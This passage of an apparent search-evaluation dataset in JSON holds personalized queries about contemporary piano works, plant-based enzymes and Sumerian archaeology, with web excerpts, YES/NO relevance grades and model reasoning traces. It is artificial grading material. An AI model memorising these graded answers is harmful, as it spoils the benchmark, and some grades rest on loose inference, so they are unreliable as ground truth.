                "text": "RAGE (2018) Fl [+ Picc], Cl [+ Bass Cl], Piano, Perc, Vl, Vla, Vcl, Cb Duration ca. 7:30\n\nPROGRAM NOTES RAGE is an expression of generational discontent. The piece borrows heavily from the rhythmic and metrical language of metal in an attempt to capture the perpetual frustration of young people with the generation(s) who have come before. Thus frustration is nothing new; in a 1789 letter (quoted in the score), Thomas Jefferson wrote to James Madison, \u201cThen no man can, by natural right, oblige the lands he occupied, or the persons who succeed him in that occupation, to the payment of debts contracted by him. For if he could, he might, during his own life, eat up the usufruct of the lands for several generations to come\u2026 and then the lands would belong to the dead, and not to the living.\u201d Commissioned and premiered by Contemporaneous. Premiered at the DiMenna Center for Classical Music, New York, NY (April 2019). SCORE PREVIEW",
                "model_trace": "Query Decomposition:\n1. {lesser-known 21st-century piano compositions}: The document mentions a composition titled \"RAGE\" from 2018, which is a 21st-century piece -> ([1], SATISFIED)\n2. {contemporary classical music}: The composition \"RAGE\" is described as contemporary classical music, incorporating elements from metal -> ([1], SATISFIED)\n3. {push the boundaries of traditional harmony}: The document does not provide specific details on the harmonic language of the piece, but the use of metal's rhythmic and metrical language suggests it might push traditional boundaries -> ([2], SATISFIED)\n4. {piano compositions}: The piece includes piano as part of an ensemble, but it is not a solo piano composition -> ([1], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {lesser-known 21st-century piano compositions}, {contemporary classical music}, and {push the boundaries of traditional harmony}. While the document satisfies the first two subcomponents and likely the third, it does not satisfy the requirement for solo piano compositions.\n\nNO"
            },
            {
                "grade": "YES",
                "title": "Contemporary piano music?",
                "url": "https://melaniespanswick.com/2012/05/29/contemporary-piano-music/",
                "published_date": null,
                "text": "I was recently asked to name some late 20th and 21st century piano pieces suitable to play for diploma exams. On examining the diploma syllabus\u00a0\u00a0I was struck by how little contemporary music was included, and by contemporary I mean music of today. I\u2019m not talking about composers such as Charles Ives, John Cage, and Stockhausen, because whilst they are all great, they are not viewed as \u2018Contemporary\u2019.\nI then realised how little contemporary piano music I knew! I was horrified, as I do really enjoy listening to new music. Contemporary music is vital if classical music is to survive and grow.\nI decided to delve a little deeper and discover just what\u00a0\u00a0living composers have to offer in terms of piano music. I should say right here and now that this list is certainly not exhaustive \u2013 it is a work in progress:\n Elliot Carter (1908 \u2013 2012) is American. His music from 1950 onwards is typically atonal and rhythmically complex, indicated by the invention of the term metric modulation to describe the frequent, precise tempo changes found in his work. Here\u2019s a selection of recent piano works: Retrouvailles (2000), Intermittences (2005), Tri -Tribute (2005-6)\n Harrison Birtwistle (1934 -) is a British composer and his\u00a0music is complex, written in a modernistic manner with a clear, distinctive voice. Piano works include: Harrison\u2019s Clocks (1997-8), Ostinato with Melody (2000), and Saraband (2001).\n Arvo P\u00e4rt (1935 -) is an Estonian composer. He works in a minimalist style that employs his own self-invented compositional technique, tintinnabuli. His music also takes inspiration from Gregorian chant. I find his music moving and strangely beautiful. Here are a few piano pieces to look out for: Fur Alina (1976) and For Anna Maria (2006).\n Steve Reich (1936 \u2013 ) is an American composer who\u00a0was one of the pioneering composers of minimal music. Reich\u2019s style of composition influenced many other composers and musical groups.\u00a0He has been described, in The Guardian, as one of \u201ca handful of living composers who can legitimately claim to ha",
                "model_trace": "Query Decomposition:\n1. {lesser-known 21st-century piano compositions}: The document lists some 21st-century piano compositions but also includes late 20th-century works -> ([1], UNSURE)\n2. {push the boundaries of traditional harmony}: The document mentions composers known for their complex and modernistic styles, such as Elliot Carter and Harrison Birtwistle, which suggests that the compositions listed push the boundaries of traditional harmony -> ([2], SATISFIED)\n3. {recommendations for a classical pianist interested in contemporary classical music}: The document is aimed at recommending contemporary piano music to classical pianists -> ([1], SATISFIED)\n\nAssessment: The document provides recommendations for contemporary classical music and includes pieces that likely push the boundaries of traditional harmony. While it includes some late 20th-century works, it also lists 21st-century compositions. The relevant subcomponents are {push the boundaries of traditional harmony} and {recommendations for a classical pianist interested in contemporary classical music}, both of which are satisfied. YES."
            },
            {
                "grade": "NO",
                "title": "piano - Why isn't there a classical composer like Beethoven ...",
                "url": "https://music.stackexchange.com/questions/67675/why-isnt-there-a-classical-composer-like-beethoven-chopin-or-mozart-today",
                "published_date": null,
                "text": "I believe two factors are at play here:\nThe democratisation of music\nThe proliferation of genre\nThe Democratisation of Music\nIn its day, classical music was tied in to the main influence structures of society: nobility, and the church. This meant that classical composers who made it in the day were akin to Michael Jackson or The Beatles today.\nBecoming a part of the influence structures at the time was hugely difficult, and very few had the means to do it. Mozart for example was fortunate enough to be taken round royal courts from a young age along with his sister, almost as a novelty. But through that exposure - along with his talent, a lot of work from his father, and possibly the fact that he was male - he was able to cultivate his talents in front of the influencers that made him a cultural icon of the day.\nIn metaphoric terms, imagine a small X-factor panel decided what was worth sharing, and nothing else got through. That panel was the nobility and the church, and Mozart was Susan Boyle.\nThe Proliferation of Genre\nIt's no coincidence that Mozart and Beethoven were around the same time, because classical music for its beauty is a genre based on harmonic rules. Both Mozart and Beethoven had access to the people who not only defined those rules, but expanded upon them (Notably Haydn and Bach).\nOne of the advantages of a set of rules is that you can work within them to make increasingly elaborate and beautiful examples.\nThe reason there was a set of rules ties largely into the church's views on music, but what's important is that they don't apply anymore.\nNowadays, you don't simply have a genre of music that's worked on and elaborated. You have tens of thousands. What was once a giant pile of influence is now a thousand little piles.\nMost genres have what you'd consider their own Mozarts. Some names immediately come to mind if I say say Pop, Country, Progressive Rock, Dubstep, Jazz, Time Lord Rock (Okay maybe not Time Lord Rock). But they're all big fish in smaller ponds. The splitting of a preferred music genr",
                "model_trace": "Query Decomposition:\n1. {lesser-known 21st-century piano compositions}: The document does not mention specific compositions, let alone lesser-known ones from the 21st century -> ([0], UNSATISFIED)\n2. {contemporary classical music}: The document discusses the evolution of classical music and its comparison with other genres, but it does not provide specific recommendations or examples of contemporary classical music -> ([1], UNSATISFIED)\n3. {push the boundaries of traditional harmony}: The document does not address compositions that push the boundaries of traditional harmony -> ([0], UNSATISFIED)\n\nAssessment: The document does not satisfy any of the relevant subcomponents as it does not provide specific recommendations or examples of contemporary classical music compositions. NO."
            },
            {
                "grade": "NO",
                "title": "The Life-Changing Benefits of Learning Classical Music",
                "url": "https://www.pianocareer.com/holistic-piano-playing/benefits-learning-classical-music/",
                "published_date": null,
                "text": "Can I become good at jazz/pop/rock if I also learn classical piano?\nI love classical music, but it seems so complicated \u2013 is it really worth my time to become good at it? \nI get such questions quite often.\nIn our modern times, classical music* is slowly starting to transform into a \u2018legend of old\u2019. It is shrouded in mystery and myths. Embarking on a \u2018classical journey\u2019 can feel overwhelming for many music lovers: I\u2019m too busy for something so difficult! I can already play by ear, so why should I bother with learning musical notation? Yes, my technique is very bad, but I can still play a few songs \u2013 what\u2019s wrong with that? Wait, what is a \u2018showpen\u2019? \nThe fact that serious classical studies are usually \u2018hidden\u2019 behind closed Conservatory doors (being only available to a select few) doesn\u2019t help the situation either.\nAs a classically-trained professional pianist with more than 30 years of experience, I\u2019m literally on a \u2018mission\u2019 to dispel myths, unlock doors and make you fall in LOVE\u2026 not just with classical music, but also with the EXCITING and LIFE-CHANGING process of studying it, and discovering its extraordinary treasures.\nSo how will classical piano benefit you? Is it worth the time, effort and discipline? Will you need to play boring exercises for ages before you can play a beautiful \u2018song\u2019? Is the technical training as tedious as you have heard? Isn\u2019t it all about talent, anyway?\nAs a child, you probably played with Lego blocks.\nYes, you read that right. If you wanted to build a Lego house, you would first take some bigger blocks, and make a foundation. If the foundation was solid, you could fit ANY block on top of it!\nThe same can be said about classical music: it is the best foundation, period.\nThe piano, in its turn, is by far the most versatile instrument.\nTherefore, if you combine \u2018classical\u2019 with \u2018piano\u2019 \u2013 you get THE magical key that opens all musical doors: jazz, pop, rock, improvisation, playing by ear or by chords\u2026 they all fit with ease on a classical foundation \u2013 just like Lego blocks.\nOn the othe",
                "model_trace": "Query Decomposition:\n1. {lesser-known 21st-century piano compositions}: The document does not mention any specific piano compositions, let alone lesser-known 21st-century ones -> ([0], UNSATISFIED)\n2. {contemporary classical music}: The document discusses classical music in general but does not focus on contemporary classical music -> ([1], UNSATISFIED)\n3. {pushing the boundaries of traditional harmony}: The document does not discuss harmony or compositions that push traditional boundaries -> ([0], UNSATISFIED)\n\nAssessment: The document does not satisfy any of the relevant subcomponents. It focuses on the benefits of learning classical piano and does not provide recommendations for contemporary classical music or specific compositions. NO."
            }
        ]
    },
    {
        "query": "As a vegan biochemistry student, what are some cutting-edge research papers on plant-based alternatives to animal-derived enzymes used in pharmaceutical production?",
        "grid_pos": [
            3,
            9
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Fact/Trivia/Knowledge",
        "reasoning_trace": [
            "These queries are personalized, challenging, and require specific knowledge to answer effectively. They combine personal information with niche interests, making them ideal for testing Exa's ability to understand context and provide relevant, high-quality results. The queries span diverse topics including outdoor activities, music, science, history, and crafts, while also incorporating personal factors like age, physical condition, dietary preferences, and living situations."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Applications of Enzyme Technology to Enhance Transition to Plant Proteins: A Review",
                "url": "https://www.mdpi.com/2304-8158/12/13/2518/pdf?version=1688042985",
                "published_date": "2023-06-28",
                "text": "Applications of Enzyme Technology to Enhance Transition to Plant Proteins: A Review\nPublished: 28 June 2023\n\nOurania Gouseti \nDepartment of Food Science\nUniversity of Copenhagen\n1958CopenhagenDenmark\n\nMadsEmil Larsen \nDepartment of Food Science\nUniversity of Copenhagen\n1958CopenhagenDenmark\n\nAshwitha Amin ashwitha@food.ku.dka.a. \nDepartment of Food Science\nUniversity of Copenhagen\n1958CopenhagenDenmark\n\nSerafim Bakalis bakalis@food.ku.dks.b. \nDepartment of Food Science\nUniversity of Copenhagen\n1958CopenhagenDenmark\n\nIben Lykke Petersen \nDepartment of Food Science\nUniversity of Copenhagen\n1958CopenhagenDenmark\n\nRene Lametsch \nDepartment of Food Science\nUniversity of Copenhagen\n1958CopenhagenDenmark\n\nPoul Erik Jensen \nDepartment of Food Science\nUniversity of Copenhagen\n1958CopenhagenDenmark\n\nApplications of Enzyme Technology to Enhance Transition to Plant Proteins: A Review\nPublished: 28 June 202310.3390/foods12132518Received: 12 May 2023 Revised: 13 June 2023 Accepted: 14 June 2023Applications of Enzyme Technology to Enhance Transition to Plant Proteins: A Review. Foods 2023, 12, 2518. https://doi.org/10.3390/ foods12132518 Academic Editor: Yonghui Li Copyright: This article is an open access article distributed under the terms and conditions of the Creative Commons Attribution (CC BY) license (https:// creativecommons.org/licenses/by/ 4.0/). foods Reviewprotein functionalityplant-based foodsprotein hydrolysiscross-linkingdeamidationenzyme-assisted extractionanalogues\nCitation: Gouseti, O.; Larsen, M.E.; Amin, A.; Bakalis, S.; Petersen, I.L.; Lametsch, R.; Jensen, P.E.Abstract: As the plant-based food market grows, demand for plant protein is also increasing. Proteins are a major component in foods and are key to developing desired structures and textures. Seed storage proteins are the main plant proteins in the human diet. They are abundant in, for example, legumes or defatted oilseeds, which makes them an excellent candidate to use in the development of novel plant-based foods. However, they often have low and i",
                "model_trace": "Query Decomposition:\n1. {cutting-edge research papers}: The document is a recently published review article, indicating it is likely to cover recent advancements in the field -> ([1], SATISFIED)\n2. {plant-based alternatives to animal-derived enzymes}: The document focuses on enzyme technology to enhance the transition to plant proteins, which aligns with the user's interest in plant-based alternatives to animal-derived enzymes -> ([1], SATISFIED)\n3. {used in pharmaceutical production}: The document does not specifically mention the use of plant-based enzymes in pharmaceutical production -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {cutting-edge research papers} and {plant-based alternatives to animal-derived enzymes}. Both of these subcomponents are satisfied. The document does not need to specifically address pharmaceutical production to be useful, as it provides relevant information on plant-based enzymes which could be applicable in various fields, including pharmaceuticals. YES."
            },
            {
                "grade": "YES",
                "title": "Production of Plant Proteases and New Biotechnological Applications: An Updated Review - PubMed",
                "url": "https://pubmed.ncbi.nlm.nih.gov/35286022/",
                "published_date": "2022-01-01",
                "text": "Review\n\nProduction of Plant Proteases and New Biotechnological Applications: An Updated Review\n\nFranco David Troncoso et al.\n\nChemistryOpen.\n\n2022 Mar.\n\nFree PMC article\n\nAbstract\n\nAn updated review of emerging plant proteases with potential biotechnological application is presented. Plant proteases show comparable or even greater performance than animal or microbial proteases for by-product valorization through hydrolysis for, for example, cheese whey, bird feathers, collagen, keratinous materials, gelatin, fish protein, and soy protein. Active biopeptides can be obtained as high added value products, which have shown numerous beneficial effects on human health. Plant proteases can also be used for wastewater treatment. The production of new plant proteases is encouraged for the following advantages: low cost of isolation using simple procedures, remarkable stability over a wide range of operating conditions (temperature, pH, salinity, and organic solvents), substantial affinity to a broad variety of substrates, and possibility of immobilization. Vegetable proteases have enormous application potential for the valorization of industrial waste and its conversion into products with high added value through low-cost processes.\n\nKeywords:\n\napplication of plant proteases; by-product valorization; hydrolysis; plant proteases production; sustainability.\n\n\u00a9 2022 The Authors. Published by Wiley-VCH GmbH.\n\nConflict of interest statement\n\nThe authors declare no conflict of interest.\n\nFigures\n\nFigure 1\n\nMechanism of protein hydrolysis catalyzed by plant serine/cysteine proteases.\n\nFigure 2\n\nMethodologies for plant protease production.+Advantages, \u2010Disadvantages.\n\nFigure 3\n\nPlant protease purification methodologies.\n\nFigure 4\n\nLime\u2010sulfide and keratinase action during leather dehairing stage.\n\nFigure 5\n\nMain applications of plant proteases.\n\nSimilar articles\n\nAbstracts of Presentations at the Association of Clinical Scientists 143rd Meeting Louisville, KY May 11-14,2022.\n\n[No authors listed]\n [No authors listed]\n Ann Clin Lab",
                "model_trace": "Query Decomposition:\n1. {cutting-edge research papers}: This document is an updated review, which can be considered a cutting-edge summary of recent research -> ([1], SATISFIED)\n2. {plant-based alternatives to animal-derived enzymes}: The document specifically discusses plant proteases and their biotechnological applications, which can be seen as alternatives to animal-derived enzymes -> ([1], SATISFIED)\n3. {used in pharmaceutical production}: The document does not explicitly mention pharmaceutical production but discusses various applications of plant proteases, which could include pharmaceuticals -> ([2], UNSURE)\n\nAssessment: The document satisfies the key subcomponents related to cutting-edge research and plant-based alternatives to animal-derived enzymes. Although it does not explicitly mention pharmaceutical production, it is reasonable to infer that the applications discussed could be relevant to the user's interest. YES."
            },
            {
                "grade": "YES",
                "title": "Enzymatic Modification of Plant Proteins for Improved Functional and Bioactive Properties",
                "url": "https://www.researchsquare.com/article/rs-2232497/latest.pdf",
                "published_date": "2022-12-20",
                "text": "Enzymatic Modification of Plant Proteins for Improved Functional and Bioactive Properties\n2023\n\nOladipupo Odunayo Olatunde \nIyiola Olayinka Owolabi \n\u00b7 Olamide \nSulaimon Fadairo \nAnujit Ghosal \n\u00b7 Oluwafemi \nJeremiah Coker \n\u00b7 Olugbenga \nPhilip Soladoye \n\u00b7 Rotimi \nE Aluko \nNandika Bandara \nEnzymatic Modification of Plant Proteins for Improved Functional and Bioactive Properties\n\nBioprocess Technology\n16202310.1007/s11947-022-02971-5Received: 3 November 2022 / Accepted: 7 December 2022REVIEWEnzymatic modification \u00b7 Plant-based proteins \u00b7 Allergenicity \u00b7 Fermentation \u00b7 Techno-functional properties \u00b7 Protein hydrolysates\nPlant-based proteins have shown great potential as an alternative substitute for animal proteins to meet the increasing global demand. Nevertheless, several limitations mitigate plant-based protein application and utilization. As a panacea to meeting the market demand, it is imperative to modify plant-based proteins to produce improved quality and techno-functionalities compared to conventional animal protein ingredients. Enzymatic, chemical, and physical modifications have been used for plant-based proteins, which have shown exciting results in improving their techno-functional properties, digestibility, and inherent allergenicity. Among these modification methods, the low-cost, limited time, high sensitivity, and high reproducibility give enzymatic modification leverage over chemical and physical methods. This review gave a concise summary of the advantages and disadvantages of enzymatic modifications. The efficacy of enzymatic modification in producing protein ingredients from plant sources with improved techno-functional properties, digestibility, and alleviated allergenicity was discussed. Furthermore, the application of enzymatic modification in the production of bioactive compounds with healthbeneficial properties adds in no small measure to the novelty of this review.\n\nIntroduction\n\nThe global demand for plant-based proteins has grown tremendously over the years owing to several factors, includ",
                "model_trace": "Query Decomposition:\n1. {cutting-edge research papers}: This document is a research paper published in 2022, which qualifies as cutting-edge -> ([1], SATISFIED)\n2. {plant-based alternatives to animal-derived enzymes}: The document discusses enzymatic modification of plant proteins for improved functional and bioactive properties, which implies the use of plant-based enzymes -> ([2], SATISFIED)\n3. {used in pharmaceutical production}: The document does not explicitly mention pharmaceutical production -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {cutting-edge research papers} and {plant-based alternatives to animal-derived enzymes}. Both of these subcomponents are satisfied by the document. YES."
            },
            {
                "grade": "NO",
                "title": "Plant-based milk substitutes: Bioactive compounds ...",
                "url": "https://www.sciencedirect.com/science/article/pii/S1756464620301997",
                "published_date": null,
                "text": "The consumption of plant-based milk substitutes has spread rapidly around the world due to its numerous positive health effects on the human body. Individuals with cow\u2019s milk allergy, lactose intolerance, and hypocholesterolemia prefer these beverages. In spite of the added sugar and lack of total protein content, phenolic compounds, unsaturated fatty acids, antioxidant activity, and bioactive compounds such as phytosterols and isoflavones make plant-based milk substitutes an excellent choice. In addition to the health effects, this review includes conventional and novel processes for 12 different plant-based milk substitutes including almond, cashew, coconut, hazelnut, peanut, sesame, soy, tiger nut, oat, rice, hemp, and walnut. The unique element of this review is our holistic approach in which 12 different plant-based milk substitutes production techniques are presented, including patents, the health effects of bioactive compounds, the bioavailability of vitamins and minerals, the market share, consumer acceptance, and the environmental impact.",
                "model_trace": "Query Decomposition:\n1. {cutting-edge research papers}: The document is a review article, which may include references to cutting-edge research but is not itself a research paper -> ([1], UNSURE)\n2. {plant-based alternatives to animal-derived enzymes}: The document focuses on plant-based milk substitutes and their bioactive compounds, not on plant-based alternatives to animal-derived enzymes used in pharmaceutical production -> ([1], UNSATISFIED)\n3. {used in pharmaceutical production}: The document does not mention pharmaceutical production or the use of plant-based alternatives to animal-derived enzymes in this context -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {cutting-edge research papers} and {plant-based alternatives to animal-derived enzymes}. Since the document does not satisfy the subcomponent related to plant-based alternatives to animal-derived enzymes, it is not helpful for the user's query. NO."
            },
            {
                "grade": "NO",
                "title": "Going vegan: the rise of animal-free medicines",
                "url": "https://pharmaceutical-journal.com/article/feature/going-vegan-the-rise-of-animal-free-medicines",
                "published_date": null,
                "text": "When most people think about consuming a vegan or vegetarian diet, their medicines are perhaps not the first thing that come to mind. However, many medicines contain excipients that are derived from animals, making it difficult for most people to avoid animal products entirely \u2014 but this might be starting to change. In February 2022, the world\u2019s first medicine to be certified to contain no animal-derived products by The Vegan Society went on sale in Germany. Paraveganio, a paracetamol product manufactured by Hamburg-based wholesaler Axunio, uses a plant-based source of the excipient magnesium stearate. \u201cThe needs and preferences of vegan people are currently completely being flouted,\u201d says Julia von Horsten, the company\u2019s product and business development manager.   We wanted to give them access to the first certified vegan product \u2026 to pave the way to more transparency and awareness for the vegan lifestyle within the pharma sector Julia von Horsten, product and business development manager at Axunio   \u201cFor that reason, we wanted to give them access to the first certified vegan product and pave the way to more transparency and awareness for the vegan lifestyle within the pharma sector.\u201d Veganism and vegetarianism have grown in popularity over recent years, with initiatives such as \u2018Veganuary\u2019 and climate change concerns helping to promote these as lifestyle choices (see Box).  Box: Avoiding animal products The number of vegans in the UK has quadrupled over a five-year period. According to a survey organised by the Food Standards Agency and the National Centre for Social Science Research, approximately 150,000 people considered themselves vegans in 2014\u200b[1]\u200b. By 2019, a survey by Ipsos Mori for The Vegan Society revealed that this number had risen to around 600,000\u200b[2]\u200b. The Cambridge Dictionary defines a vegan as someone \u2018who does not eat or use any animal products such as meat, fish, eggs, cheese or leather\u2019, while a vegetarian is defined as a person \u2018who does not eat meat for health or religious reasons, or beca",
                "model_trace": "Query Decomposition:\n1. {cutting-edge research papers}: The document does not mention research papers -> ([0], UNSATISFIED)\n2. {plant-based alternatives to animal-derived enzymes}: The document discusses plant-based alternatives in medicines, such as the use of a plant-based excipient in a paracetamol product -> ([2], SATISFIED)\n3. {used in pharmaceutical production}: The document discusses the use of plant-based alternatives in pharmaceutical products -> ([1], SATISFIED)\n\nAssessment: The document does not address the specific request for cutting-edge research papers, which is a crucial subcomponent. While it does discuss plant-based alternatives in pharmaceuticals, the lack of research papers makes it unhelpful for the user's query. NO."
            }
        ]
    },
    {
        "query": "I'm a history buff with a particular interest in ancient Mesopotamia. What are some recent archaeological discoveries that have changed our understanding of Sumerian social structures?",
        "grid_pos": [
            3,
            9
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Fact/Trivia/Knowledge",
        "reasoning_trace": [
            "These queries are personalized, challenging, and require specific knowledge to answer effectively. They combine personal information with niche interests, making them ideal for testing Exa's ability to understand context and provide relevant, high-quality results. The queries span diverse topics including outdoor activities, music, science, history, and crafts, while also incorporating personal factors like age, physical condition, dietary preferences, and living situations."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "New discoveries in Iraq upend story of Mesopotamia",
                "url": "https://www.thenationalnews.com/arts-culture/art/2022/06/13/new-discoveries-in-iraq-upend-story-of-mesopotamia/",
                "published_date": "2022-06-13",
                "text": "New excavations of the ancient complex of Girsu in Iraq, led by the British Museum, have the potential to rewrite accepted histories of the development in Mesopotamia, according to archaeologist Sebastien Rey, after findings from the project have come to light. For decades, historians have believed that the Sumerians' mastery of irrigation \u2014 or the ability to have regular and stable access to water \u2014 moved them from subsistence towards the extraordinary feats they are known for: writing, temple complexes, grouping into cities. Now, the Girsu Project's discoveries suggest that irrigation was not the cause of these changes after all. But the question remains: what was it? Rey, who is curator of Ancient Mesopotamia at the British Museum, was the lead archaeologist on the project. Girsu, or present-day Tello in southern Iraq, is a city and temple complex erected by the Sumerians in about 3000 to 2000 BC. A paper on the subject will be published later this year, and the British Museum has mounted the exhibition Ancient Iraq: New Discoveries, in Nottingham in the UK, to recontextualise existing artefacts from their collection that come from Girsu and other Sumerian cities. Members of the archaeological team at Girsu, southern Iraq, in autumn 2021. Photo: British Museum Rey and his team used new technologies to understand the development of the city, flying drones over the vast, 250-hectare site. The images they gathered show the extent to which the irrigation system was embedded throughout the city and its surrounds. Heavy rainfall, a product of climate change, also washed away the top layer of the soil, making the outlines even more apparent. Working with archaeologists from five universities in Iraq, led by Jaafar Jotheri of Al Qadisiyah, the British Museum team dug out shells and other material from the bottom level of the canals to be carbon-dated. The results were startling: the canals seem to have been dug in the fifth millennium BC. . \u201cThe big surprise is that the largest irrigation canals date to the prehistory",
                "model_trace": "Query Decomposition:\n1. [Recent archaeological discoveries]: The document discusses recent discoveries from the Girsu Project led by the British Museum, which is relevant to recent archaeological findings -> ([1], SATISFIED)\n2. [Ancient Mesopotamia]: The discoveries pertain to Girsu, an ancient Sumerian city in Mesopotamia -> ([1], SATISFIED)\n3. [Changed understanding of Sumerian social structures]: The document mentions that the findings could rewrite accepted histories of the development in Mesopotamia, particularly challenging the role of irrigation in the development of Sumerian society -> ([2], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents relevant to the query. YES."
            },
            {
                "grade": "NO",
                "title": "Do bricks have DNA? This one from ancient Mesopotamia did",
                "url": "https://www.haaretz.com/archaeology/2023-08-24/ty-article/do-bricks-have-dna-this-one-from-ancient-mesopotamia-did/0000018a-280e-da97-a7cb-6ebe312e0000",
                "published_date": "2023-08-24",
                "text": "Analysis of ancient DNA has changed everything we knew about ourselves, from the level of the individual to the evolution of Homo sapiens and other hominins. Now the technique has forged into new territory with the analysis of DNA extracted from a 2,900-year-old mud brick. The brick comes from the palace of King Ashurnasirpal II in the Neo-Assyrian city of Kalhu, which would later become known as Nimrud in northern Iraq. Whose DNA? Not that of the laborers on the banks of the Tigris River, which is the presumed source of the mud. Theoretically, genomic information from the brick makers may also be found in the brick, but for now the researchers settled for locating genetic material from plant matter. They could do this because the brick hadn\u2019t been fired in a kiln. If it had been fired rather than dried in the sun, the DNA would have roasted. In the Nature Portfolio journal Scientific Reports this week, the scientists report that they identified 34 groups of plants, among which plants in the cabbage and heather families were the most abundant. Whether these people were eating vegetables we know of as cabbage is another story. \u201cWith this research we have made the pioneering discovery that ancient DNA, effectively protected from contamination inside a mass of clay, can successfully be extracted from a 2,900-year-old clay brick,\u201d the researchers wrote in their article \u201cRevealing the secrets of a 2900-year-old clay brick, discovering a time capsule of ancient DNA\u201d by Troels Pank Arboll, Sophie Lund Rasmussen, Nadieh de Jong, Anne Haslund Hansen, Cino Pertoldi and Jeppe Lund Nielsen of the University of Oxford. It bears qualifying that to extract and sequence ancient DNA, the state of preservation of the corpse or brick must be excellent. Not every skeleton or mud brick can produce usable DNA; most don\u2019t. This brick did. The scientists are confident of the brick\u2019s provenance because it bears an inscription in Akkadian saying \u201cproperty of the palace of Ashurnasirpal, king of Assyria,\u201d which isn\u2019t as strange as one migh",
                "model_trace": "Query Decomposition:\n1. [Interest in ancient Mesopotamia]: The document is about a discovery in ancient Mesopotamia, specifically a 2,900-year-old mud brick from the palace of King Ashurnasirpal II in the Neo-Assyrian city of Kalhu -> ([1], SATISFIED)\n2. [Recent archaeological discoveries]: The document discusses a recent discovery published in 2023 -> ([1], SATISFIED)\n3. [Changed understanding of Sumerian social structures]: The document focuses on the analysis of ancient DNA from a mud brick, which provides information about plant matter and the brick-making process, but does not directly address Sumerian social structures -> ([1], UNSATISFIED)\n\nAssessment: The document satisfies the subcomponents related to the user's interest in ancient Mesopotamia and recent discoveries but does not address changes in the understanding of Sumerian social structures. NO."
            },
            {
                "grade": "NO",
                "title": "Variable kinship patterns in Neolithic Anatolia revealed by ancient genomes",
                "url": "https://www.cell.com/current-biology/fulltext/S0960-9822(21)00423-1",
                "published_date": "2021-06-07",
                "text": "Highlights \u2022Genetic kinship estimated from co-buried individuals\u2019 genomes in Neolithic Anatolia \u2022Close relatives are common among co-burials in A\u015f\u0131kl\u0131 and Boncuklu \u2022Many unrelated infants found buried in the same building in \u00c7atalh\u00f6y\u00fck and Barc\u0131n \u2022Neolithic societies in Southwest Asia may have held diverse concepts of kinship Summary The social organization of the first fully sedentary societies that emerged during the Neolithic period in Southwest Asia remains enigmatic, 1 Kuijt I. People and Space in Early Agricultural Villages: Exploring Daily Lives, Community Size, and Architecture in the Late Pre-Pottery Neolithic. Crossref \n Scopus (125) \n Google Scholar mainly because material culture studies provide limited insight into this issue. However, because Neolithic Anatolian communities often buried their dead beneath domestic buildings, 2 Boz B. Hager L.D. Living above the Dead: Intramural Burial practices at \u00c7atalh\u00f6y\u00fck. Google Scholar household composition and social structure can be studied through these human remains. Here, we describe genetic relatedness among co-burials associated with domestic buildings in Neolithic Anatolia using 59 ancient genomes, including 22 new genomes from A\u015f\u0131kl\u0131 H\u00f6y\u00fck and \u00c7atalh\u00f6y\u00fck. We infer pedigree relationships by simultaneously analyzing multiple types of information, including autosomal and X chromosome kinship coefficients, maternal markers, and radiocarbon dating. In two early Neolithic villages dating to the 9th and 8th millennia BCE, A\u015f\u0131kl\u0131 H\u00f6y\u00fck and Boncuklu, we discover that siblings and parent-offspring pairings were frequent within domestic structures, which provides the first direct indication of close genetic relationships among co-burials. In contrast, in the 7th millennium BCE sites of \u00c7atalh\u00f6y\u00fck and Barc\u0131n, where we study subadults interred within and around houses, we find close genetic relatives to be rare. Hence, genetic relatedness may not have played a major role in the choice of burial location at these latter two sites, at least for subadults. This suppor",
                "model_trace": "Query Decomposition:\n1. {Recent archaeological discoveries}: The document discusses recent genetic studies on ancient genomes, which can be considered recent archaeological discoveries -> ([1], SATISFIED)\n2. {Ancient Mesopotamia}: The document focuses on Neolithic Anatolia, not Mesopotamia -> ([1], UNSATISFIED)\n3. {Sumerian social structures}: The document discusses social structures in Neolithic Anatolia, not Sumerian social structures -> ([1], UNSATISFIED)\n\nAssessment: The relevant subcomponent is {Recent archaeological discoveries}. The document does not satisfy the subcomponents related to Ancient Mesopotamia and Sumerian social structures, making it unhelpful for the user's specific interest in Sumerian social structures. NO."
            },
            {
                "grade": "NO",
                "title": "9 Ancient Sumerian Inventions That Changed the World",
                "url": "https://www.history.com/news/sumerians-inventions-mesopotamia",
                "published_date": null,
                "text": "The ancient Sumerians, who flourished thousands of years ago between the Tigris and Euphrates rivers in what today is southern Iraq, built a civilization that in some ways was the ancient equivalent of Silicon Valley. As the late historian Samuel Noah Kramer wrote, \u201cThe people of Sumer had an unusual flair for technological invention.\u201d  In\u00a0what the Greeks later called Mesopotamia, Sumerians invented new technologies and perfected the large-scale use of existing ones. In the process, they transformed how humans cultivated food, built dwellings, communicated and kept track of information and time. The Sumerians\u2019 creativity was driven to an extent by their land\u2019s lack of natural resources, according to Philip Jones, associate curator and keeper of the Babylonian section at the Penn Museum in Philadelphia.  \u201cThey had few trees, almost no stone or metal,\u201d he explains. That forced them to make ingenious use of materials such as clay\u2014the plastic of the ancient world. They used it to make everything from bricks to pottery to tablets for writing. But the Sumerians\u2019 real genius may have been organizational. They had the ability to take inventions that had been developed elsewhere and apply them on a much bigger scale. This way they could mass-produce goods such as textiles and pottery that they could then trade with other people. As Kramer writes, there was something in the Sumerian identity that drove them to dream big and think ingeniously. \u201cSpiritually and psychologically, they laid great stress on ambition and success, preeminence and prestige, honor and recognition,\u201d he explains. The Sumerians\u2019 innovations gradually spread and led to the development of the modern technologically advanced world that we live in today. Here are some of the areas where the Sumerians left their mark.   Mass-Produced Pottery     DeAgostini/Getty Images  Bowl from the ancient civilizations of Mesopotamia.  Other ancient people made pottery by hand, but the Sumerians were the first to develop the turning wheel, a device which allowed them to ",
